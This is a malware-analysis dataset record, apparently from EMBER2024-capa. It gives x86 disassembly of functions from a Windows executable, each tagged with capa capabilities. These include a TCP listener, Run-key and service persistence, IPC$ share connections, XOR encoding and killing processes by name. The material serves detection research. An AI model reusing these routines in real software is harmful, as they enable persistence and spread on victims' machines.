joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40793f
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
call fcn.0040782a
test al, al
je 0x4079c8
cmp byte [esi + 0x80d], 0
jne 0x4079d3
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x808], eax
je 0x4079c1
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
and dword [ebp - 0xc], 0
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x808]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x4079c1
push 0x32
push dword [esi + 0x808]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x4079cc
mov ecx, esi
call fcn.004078e6
xor al, al
jmp 0x4079d5
mov byte [esi + 0x80d], 1
mov al, 1
pop esi
leave
ret 4

Function at 0x407ad2
Capabilities:
Check for time delay via gettickcount
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x808], 0xffffffff
push edi
je 0x407beb
cmp byte [esi + 0x80d], 0
je 0x407beb
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov dword [ebp - 4], eax
call fcn.0040782a
push 1
pop ebx
test al, al
je 0x407ba8
mov eax, dword [esi + 0x808]
and dword [ebp - 0xc], 0
cmp dword [ebp + 0x10], 0
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x110], ebx
mov dword [ebp - 8], 0x64
je 0x407b52
call edi
sub eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
ja 0x407beb
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x407b9e
lea eax, [ebp - 0x110]
push eax
push dword [esi + 0x808]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x407beb
lea eax, [ebp - 0x214]
push eax
push dword [esi + 0x808]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x407ba8
call fcn.0040782a
jmp 0x407b0d
call fcn.0040782a
test al, al
je 0x407beb
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x808]
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebp + 0x14]
test ecx, ecx
je 0x407bce
mov dword [ecx], eax
cmp eax, 0xffffffff
je 0x407bdb
test eax, eax
je 0x407bdb
mov al, bl
jmp 0x407bed
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
sete al
jmp 0x407bed
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x407bf4
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [ecx + 0x808]
cmp eax, 0xffffffff
je 0x407c40
cmp byte [ecx + 0x80d], 0
je 0x407c40
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x407c23
mov dword [ecx], eax
cmp eax, 0xffffffff
je 0x407c30
test eax, eax
je 0x407c30
mov al, 1
jmp 0x407c42
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
sete al
jmp 0x407c42
xor al, al
ret 0xc
Function at 0x407ce3
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push esi
mov esi, ecx
call fcn.0040782a
test al, al
je 0x407cfa
mov eax, dword [esi + 0x808]
cmp eax, 0xffffffff
jne 0x407cfe
xor eax, eax
jmp 0x407d0d
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
pop esi
ret 8

Function at 0x407d3f
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, ecx
xor eax, eax
cmp byte [esi + 0x80e], al
jne 0x407d6b
cmp dword [esi + 0x808], 0xffffffff
je 0x407dba
cmp byte [esi + 0x80d], al
je 0x407dba
push 1
pop eax
jmp 0x407dba
mov ecx, dword [esi + 0x808]
mov dword [ebp - 0x108], ecx
lea ecx, [ebp - 8]
push ecx
push eax
lea ecx, [ebp - 0x10c]
push ecx
push eax
push eax
mov dword [ebp - 0x10c], 1
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jne 0x407da3
xor al, al
jmp 0x407dba
lea eax, [ebp - 0x10c]
push eax
push dword [esi + 0x808]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
setne al
pop esi
leave
ret

Function at 0x407dbd
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, ecx
xor eax, eax
cmp byte [esi + 0x80e], al
jne 0x407dd7
xor al, al
jmp 0x407e22
mov ecx, dword [esi + 0x808]
mov dword [ebp - 0x108], ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x10c]
push ecx
push eax
push eax
push eax
mov dword [ebp - 0x10c], 1
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x407dd3
lea eax, [ebp - 0x10c]
push eax
push dword [esi + 0x808]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
setne al
pop esi
leave
ret

Function at 0x407eea
Capabilities:
Resolve dns

Disassembly:
push esi
call fcn.0040782a
test al, al
jne 0x407ef8
xor eax, eax
jmp 0x407f46
push dword [esp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x407f46
push dword [esp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
jne 0x407f1c
or eax, 0xffffffff
jmp 0x407f46
mov eax, dword [esi + 0xc]
push edi
xor edi, edi
cmp dword [eax], 0
je 0x407f2d
inc edi
add eax, 4
jmp 0x407f22
call fcn.00411aac
dec edi
push edi
push 0
call fcn.00411aba
pop ecx
pop ecx
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax]
pop edi
pop esi
ret 4
Function at 0x407f4a
Capabilities:
Resolve dns

Disassembly:
mov eax, 0x426cd3
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x38
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 0x14], esi
call fcn.0040782a
test al, al
push dword [ebp + 0xc]
jne 0x407f78
mov ecx, dword [ebp + 8]
call fcn.0040bb72
jmp 0x408081
lea ecx, [ebp - 0x44]
call fcn.0040bb72
push 1
pop ebx
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.0040c637
test eax, eax
jne 0x407f99
push 0x43c95c
jmp 0x407fac
mov edi, 0x43c95c
push edi
lea ecx, [ebp - 0x44]
call fcn.0040bddf
test eax, eax
push edi
jne 0x407fbc
mov ecx, dword [ebp + 8]
call fcn.0040bb72
mov dword [ebp - 0x14], ebx
jmp 0x408075
lea ecx, [ebp - 0x2c]
call fcn.0040bb72
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push 0xf
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 2
call fcn.0040c637
push eax
call sub.DNSAPI.dll_DnsQuery_A
cmp eax, esi
jne 0x40805b
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
push 0x4310d0
push dword [eax + 4]
call sub.MSVCRT.dll_strcmp
test eax, eax
pop ecx
pop ecx
je 0x408035
mov esi, dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xf
cmp al, 8
jne 0x408012
cmp word [esi + 8], 0xf
je 0x408030
mov esi, dword [esi]
test esi, esi
jne 0x40801b
mov esi, dword [ebp - 0x10]
push 0x4310d0
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
test eax, eax
pop ecx
pop ecx
jne 0x407ffe
jmp 0x407ffb
push dword [esi + 0x18]
jmp 0x40803b
mov eax, dword [ebp - 0x10]
push dword [eax + 0x18]
lea ecx, [ebp - 0x2c]
call fcn.0040bca8
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040bddf
test eax, eax
jne 0x40805b
push dword [ebp + 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0040bca8
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040bbbf
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], bl
call fcn.0040bc75
and byte [ebp - 4], 0
lea ecx, [ebp - 0x44]
call fcn.0040bc75
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x408ef3
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov edi, ecx
call esi
mov ecx, eax
mov eax, dword [0x43e448]
sub ecx, dword [eax + 0x3694]
cmp ecx, dword [edi + 0x4fc]
jbe 0x408f2d
lea ecx, [eax + 0x2e4c]
call fcn.00403446
call esi
mov ecx, dword [0x43e448]
mov dword [ecx + 0x3694], eax
call esi
sub eax, dword [0x43c964]
cmp eax, 0x4e20
jbe 0x408f48
call fcn.004152c5
call esi
mov dword [0x43c964], eax
pop edi
mov al, 1
pop esi
ret

Function at 0x40a51b
Capabilities:
Terminate process

Disassembly:
mov eax, 0x4273a7
call sub.MSVCRT.dll__EH_prolog
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], 0x42a3d4
push 0
push dword [esi + 0xbc]
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esi + 0x1b0]
call fcn.00425b07
mov ecx, dword [esi + 0x1b4]
call fcn.00425b07
push dword [esi + 0xb4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0xb8]
call edi
push dword [esi + 0xb0]
call edi
push dword [esi + 0xfc]
call edi
push dword [esi + 0x100]
call edi
push dword [esi + 0xf8]
call edi
lea ecx, [esi + 0x104]
mov byte [ebp - 4], 2
call fcn.00403c61
lea ecx, [esi + 0x74]
mov byte [ebp - 4], 1
call fcn.00403e63
and byte [ebp - 4], 0
lea ecx, [esi + 0x3c]
call fcn.00403e63
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 4]
call fcn.00403e63
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40b631
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4004
call fcn.00425510
push ebx
push esi
push edi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x4004]
push eax
call sub.MSVCRT.dll_vsprintf
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x4004]
push eax
push dword [esi + 0xc]
lea eax, [ebp - 0x2004]
push ebx
push str.__d__d___s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x432008
push str.c:debug.log
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 0x28
test edi, edi
je 0x40b6aa
lea eax, [ebp - 0x2004]
push eax
push 0x430648
push edi
call sub.MSVCRT.dll_fprintf
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x10
cmp dword [esi + 0xc], 4
jle 0x40b6bd
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [esi + 8], 0
je 0x40b6eb
cmp dword [esi + 0xc], ebx
jl 0x40b6eb
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2004]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x2004]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40bec1
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4274a8
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x1c
push ebx
push esi
xor ebx, ebx
mov esi, ecx
cmp dword [esi + 8], ebx
mov dword [ebp - 0x10], ebx
jne 0x40beee
mov ecx, dword [ebp + 8]
push 0x43c95c
call fcn.0040bb72
mov eax, dword [ebp + 8]
jmp 0x40bf57
push edi
lea ecx, [ebp - 0x28]
call fcn.0040bb1b
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.0040c125
inc eax
push eax
lea ecx, [ebp - 0x28]
call fcn.0040c0db
mov ecx, esi
mov edi, eax
call fcn.0040c125
test eax, eax
jle 0x40bf3f
mov eax, dword [esi + 8]
cdq
push 0xa
pop ecx
idiv ecx
mov ecx, dword [esi + 0xc]
mov al, dl
imul bl
add al, byte [esi + 8]
inc al
xor al, byte [ebx + ecx]
mov ecx, esi
mov byte [ebx + edi], al
inc ebx
call fcn.0040c125
cmp ebx, eax
jl 0x40bf18
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
call fcn.0040bbbf
lea ecx, [ebp - 0x28]
call fcn.0040bc75
mov eax, dword [ebp + 8]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x40e085
Capabilities:
Delete file

Disassembly:
mov eax, dword [0x43e448]
cmp byte [eax + 0x5a], 0
je 0x40e09a
add eax, 0x5b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 1
ret

Function at 0x40e0a4
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call edi
mov ecx, dword [ebp + 0xc]
call fcn.0040751e
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0xc]
push eax
call fcn.0040751e
mov ecx, dword [ebp + 8]
push eax
push 1
push esi
call fcn.0040751e
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call edi
mov ecx, dword [ebp + 0xc]
call fcn.0040751e
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0xc]
push eax
call fcn.0040751e
mov ecx, dword [ebp + 8]
push eax
push 1
push esi
call fcn.0040751e
push eax
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, 1
pop ebx
leave
ret 8

Function at 0x40e15c
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call edi
mov ecx, dword [ebp + 8]
call fcn.0040751e
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push eax
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call edi
mov ecx, dword [ebp + 8]
call fcn.0040751e
push eax
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, 1
pop ebx
leave
ret 4
Function at 0x40e1dc
Capabilities:
Get common file path

Disassembly:
mov eax, 0x427720
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x48
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x54]
call fcn.0040bb1b
and dword [ebp - 4], 0
mov eax, 0x104
push eax
push eax
lea ecx, [ebp - 0x54]
call fcn.0040c0db
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x3c]
call fcn.0040bb1b
mov ecx, dword [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040c637
push eax
lea ecx, [ebp - 0x54]
call fcn.0040c637
push eax
lea eax, [ebp - 0x3c]
push str._s_s
push eax
call fcn.0040bf67
add esp, 0x10
lea ecx, [ebp - 0x24]
call fcn.0040bb1b
lea eax, [ebp - 0x24]
push str._service
push eax
mov byte [ebp - 4], 2
call fcn.0040bf67
pop ecx
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp + 8]
mov ecx, esi
call fcn.0040e2a4
lea ecx, [ebp - 0x24]
mov bl, al
mov byte [ebp - 4], 1
call fcn.0040bc75
and byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.0040bc75
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x54]
call fcn.0040bc75
mov ecx, dword [ebp - 0xc]
pop esi
mov al, bl
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x40e2a4
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
mov eax, 0x427734
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x3c
push ebx
push 0xf003f
push str.ServicesActive
xor ebx, ebx
push ebx
mov dword [ebp - 0x14], ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
jne 0x40e2d6
xor al, al
jmp 0x40e3ce
push esi
push edi
lea ecx, [ebp - 0x48]
call fcn.0040bb1b
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 4], ebx
call fcn.0040c637
mov ecx, dword [ebp + 0xc]
push eax
call fcn.0040c637
push eax
lea eax, [ebp - 0x48]
push str.__s___s
push eax
call fcn.0040bf67
add esp, 0x10
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x48]
call fcn.0040c637
push eax
mov eax, dword [0x43e448]
push 1
pop esi
push esi
push 2
push 0x20
push 0xf01ff
lea ecx, [eax + 0x860]
call fcn.0040c637
mov ecx, dword [ebp + 8]
push eax
call fcn.0040c637
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
cmp edi, ebx
jne 0x40e382
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x40e3b5
push dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
call fcn.0040e3dd
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp + 0xc]
mov ecx, dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.0040e1dc
mov bl, al
jmp 0x40e3be
or dword [ebp - 0x30], 0xffffffff
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x30]
push eax
push 2
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
test eax, eax
je 0x40e3ae
mov bl, 1
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.0040bc75
pop edi
mov al, bl
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc

Function at 0x40e3dd
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push 0xf003f
push str.ServicesActive
xor ebx, ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x40e402
xor al, al
jmp 0x40e449
mov ecx, dword [ebp + 8]
push esi
push edi
push 0xf01ff
call fcn.0040c637
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
cmp edi, ebx
je 0x40e440
lea eax, [ebp - 0x20]
push eax
push 1
pop ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call esi
push dword [ebp - 4]
call esi
pop edi
mov al, bl
pop esi
pop ebx
leave
ret 4
Function at 0x40e49e
Capabilities:
Start service

Disassembly:
push ebx
push ebp
push 0xf003f
push str.ServicesActive
xor ebx, ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
cmp ebp, ebx
jne 0x40e4bd
xor al, al
jmp 0x40e4f6
mov ecx, dword [esp + 0xc]
push esi
push edi
push 0xf01ff
call fcn.0040c637
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
cmp esi, ebx
je 0x40e4ef
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call edi
mov bl, 1
push ebp
call edi
pop edi
mov al, bl
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4119d9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push 0x430f24
push dword [ebp + 8]
mov ebx, ecx
call sub.MSVCRT.dll_fopen
mov edi, eax
test edi, edi
pop ecx
pop ecx
mov dword [ebp + 8], edi
je 0x411a51
push esi
push 2
push 0
push edi
call sub.MSVCRT.dll_fseek
push edi
call sub.MSVCRT.dll_ftell
push 0
push 0
push edi
mov esi, eax
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_malloc
mov edi, dword [ebp + 0xc]
add esp, 0x20
test eax, eax
mov dword [edi], eax
jne 0x411a2b
xor esi, esi
jmp 0x411a45
push dword [ebp + 8]
push esi
push 1
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, esi
jb 0x411a27
mov dword [ebx], esi
mov eax, dword [edi]
mov dword [ebx + 4], eax
push dword [ebp + 8]
call sub.MSVCRT.dll_fclose
pop ecx
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x411a61
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
push 0x433128
push dword [esp + 0x10]
mov esi, ecx
call sub.MSVCRT.dll_fopen
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x411a91
push edi
push dword [esi]
push 1
push dword [esi + 4]
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x14
pop edi
pop esi
ret 4
Function at 0x4127ff
Capabilities:
Create process on windows

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
setge al
ret

Function at 0x41281e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x28
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
push esi
mov word [ebp - 0x24], si
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setg al
pop esi
leave
ret

Function at 0x412862
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
mov al, byte [0x43c95c]
push ebx
push esi
push edi
mov esi, str.IPC_
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x45
mov byte [ebp - 0x124], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x433404
lea edi, [ebp - 0x354]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov ecx, 0x8a
lea edi, [ebp - 0x34e]
rep stosd dword es:[edi], eax
push 0xff
stosw word es:[edi], ax
lea eax, [ebp - 0x124]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
xor edi, edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x354]
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x354]
push eax
call sub.MSVCRT.dll_wcscat
mov esi, dword [ebp + 0xc]
add esp, 0x10
lea eax, [ebp - 0x354]
push edi
mov dword [esi + 0x14], eax
mov eax, 0x43e490
push eax
push eax
push esi
mov dword [esi + 4], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x1c], edi
call sub.MPR.dll_WNetAddConnection2W
cmp eax, 5
mov ebx, 0x4c3
je 0x412925
cmp eax, ebx
jne 0x41292e
push edi
push edi
push edi
push esi
call sub.MPR.dll_WNetAddConnection2W
cmp eax, 5
je 0x41293b
cmp eax, ebx
je 0x41293b
mov al, 1
jmp 0x41293d
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x415017
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x111c
call fcn.00425510
and byte [ebp - 1], 0
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x111c]
push eax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x415045
xor al, al
leave
ret
push esi
mov esi, dword [ebp - 0x10]
shr esi, 2
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], 0
je 0x415136
push ebx
lea eax, [ebp - 0x111c]
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x11c]
push str.unknown
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0xc]
pop ecx
pop ecx
push dword [eax]
xor ebx, ebx
push ebx
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x415124
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push edi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x41511d
push 0x104
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0x18]
push edi
call sub.PSAPI.DLL_GetModuleBaseNameA
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x4150fc
mov eax, dword [ebp - 8]
lea esi, [ebp + eax - 0x11c]
movsx eax, byte [esi]
push eax
call sub.MSVCRT.dll_toupper
mov byte [esi], al
lea eax, [ebp - 0x11c]
push eax
inc ebx
call sub.MSVCRT.dll_strlen
cmp ebx, eax
pop ecx
pop ecx
jb 0x4150db
mov esi, dword [ebp - 0x14]
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcmp
test eax, eax
pop ecx
pop ecx
jne 0x41511d
push eax
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 1], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 8]
add dword [ebp - 0xc], 4
cmp dword [ebp - 8], esi
jb 0x415067
pop edi
pop ebx
mov al, byte [ebp - 1]
pop esi
leave
ret